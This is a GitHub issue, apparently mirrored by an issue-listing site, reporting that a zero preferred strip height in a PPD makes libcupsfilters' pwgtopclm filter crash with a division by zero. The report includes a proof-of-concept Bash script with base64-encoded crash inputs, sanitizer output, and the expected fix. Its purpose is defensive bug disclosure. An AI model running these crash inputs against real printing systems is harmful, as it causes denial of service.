OpenPrinting / OpenPrinting/libcupsfilters

pwgtopclm: zero preferred strip height causes division by zero

Open
#177 0 comments 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Dominant language
C
Stars
17
Forks
71
Avg merge
2d 17h
Merged PRs (30d)
13

Description

Summary

cfFilterPWGToPDF() trusts the PCLm
pclm-strip-height-preferred printer attribute and uses it as both a divisor
and modulo operand. A PPD value of zero terminates the standalone
pwgtopclm filter with SIGFPE before raster rows are processed.

This is a reliable job-level denial of service. It does not provide a memory
read or write primitive and requires control of printer capabilities or PPD
configuration.

Reproduction

Final upstream recheck on 2026-08-02: OpenPrinting/cups-filters 11d1a190530f85a361a1b3835f57d635256dff1a, libcupsfilters 905fd94fb22a9298bc8e2c845eb7e04f7055b686, and libppd fc41539f761286396a7df8aeeda762070192e37e.

Validated revisions:

  • cups-filters: 11d1a190530f85a361a1b3835f57d635256dff1a
  • libcupsfilters: 905fd94fb22a9298bc8e2c845eb7e04f7055b686
  • libppd: 522af8dd135f4dde66b1aac8b9d067808bbe122d

poc/document.pwg is a valid 8x1, 8-bit grayscale compressed Raster page.
poc/candidate.ppd declares:

*cupsPclmStripHeightPreferred: "0"

Their SHA-256 values are
4327175f0762ca5cbc56b4db3aeaa7fa8ad4244c21359430cbe5a34f5b77761e
and
d38cf7941941e179a27cf423b7c4c249cbcd60c9db0de7843d60c571f3476a86.

Run:

./reproduce.sh

The following commented Bash script constructs the exact PoC and control
inputs. Save it as make_poc.sh, then run bash make_poc.sh poc.

#!/usr/bin/env bash
set -euo pipefail

# PoC: pwgtopclm: zero preferred strip height causes division by zero
# Finding ID: pwgtopclm-zero-strip-height-fpe
# Trigger: cfFilterPWGToPDF() trusts the PCLm pclm-strip-height-preferred
# printer attribute and uses it as both a divisor and modulo operand. A PPD
# value of zero terminates the standalone pwgtopclm filter with SIGFPE before
# raster rows are processed.
#
# Binary PDFs, Raster files, images, and PPDs are stored as gzip-compressed
# base64 so embedded NUL bytes and exact parser offsets survive copy/paste.
# Every reconstructed file is checked before the vulnerable program is run.

OUTPUT_DIR="${1:-poc}"
mkdir -p "$OUTPUT_DIR"

for tool in base64 gzip sha256sum; do
  command -v "$tool" >/dev/null || {
    printf 'missing required tool: %s\n' "$tool" >&2
    exit 1
  }
done

write_file() {
  local name="$1"
  local expected_sha256="$2"
  local path="$OUTPUT_DIR/$name"
  local actual_sha256

  mkdir -p "$(dirname "$path")"
  base64 --decode | gzip --decompress > "$path"
  actual_sha256="$(sha256sum "$path")"
  actual_sha256="${actual_sha256%% *}"
  if [[ "$actual_sha256" != "$expected_sha256" ]]; then
    printf 'SHA-256 mismatch for %s\n' "$path" >&2
    return 1
  fi
  printf '%s  %s bytes  sha256=%s\n' \
    "$path" "$(wc -c < "$path")" "$actual_sha256"
}

# PPD configuration needed to select the vulnerable filter state.
# Output: candidate.ppd (15392 bytes)
write_file candidate.ppd d38cf7941941e179a27cf423b7c4c249cbcd60c9db0de7843d60c571f3476a86 <<'POC_PAYLOAD_0'
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
POC_PAYLOAD_0

# Malformed or boundary document consumed by the real filter/API.
# Output: document.pwg (1810 bytes)
write_file document.pwg 4327175f0762ca5cbc56b4db3aeaa7fa8ad4244c21359430cbe5a34f5b77761e <<'POC_PAYLOAD_1'
H4sIAAAAAAACAzMKTgwKKE8PSiwuSS1iGAUwoMMIwUJAtgoQBzExMHxhQlUDkyMEUoD6JJhRxTiA
mBGJDcMwcxmQ5FHZki4MDG5APMGRgUHAiaFBBMi2dRmNsVEwCkbBSAU+qSWUVWA/GRQcEhoWHPgP
AC4Njv0SBwAA
POC_PAYLOAD_1

Result

UBSan reports division by zero and ASan reports:

ERROR: AddressSanitizer: FPE
prepare_pdf_page .../cupsfilters/pwgtopdf.c:1329
add_pdf_page .../cupsfilters/pwgtopdf.c:1491

The non-sanitized build exits on SIGFPE with status 136.

Cause and expected behavior

The PPD attribute is converted to an integer printer attribute and copied into
info->pclm_strip_height_preferred without requiring a positive value. Lines
1329-1330 then calculate:

height / info->pclm_strip_height_preferred
height % info->pclm_strip_height_preferred

The filter must reject a non-positive preferred strip height or select a
validated supported/default height before calculating the strip count.

Contributor guide

Open the contributing guide

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Research direction

Start in cupsfilters/pwgtopdf.c at lines 1329-1330, where pclm_strip_height_preferred is used for division and modulo. Run reproduce.sh with poc/candidate.ppd and poc/document.pwg to confirm the failure. Done means a zero or non-positive preferred strip height no longer causes SIGFPE and the filter handles the input safely.

Written by the indexing model from the issue text.

Assessment

Tech stack
c
Domain
backend
Issue type
Bug
Difficulty
3/5
Estimated time
1-2 days
Activity status
Quiet
Clarity
Clearly specified
Newbie friendliness
72/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.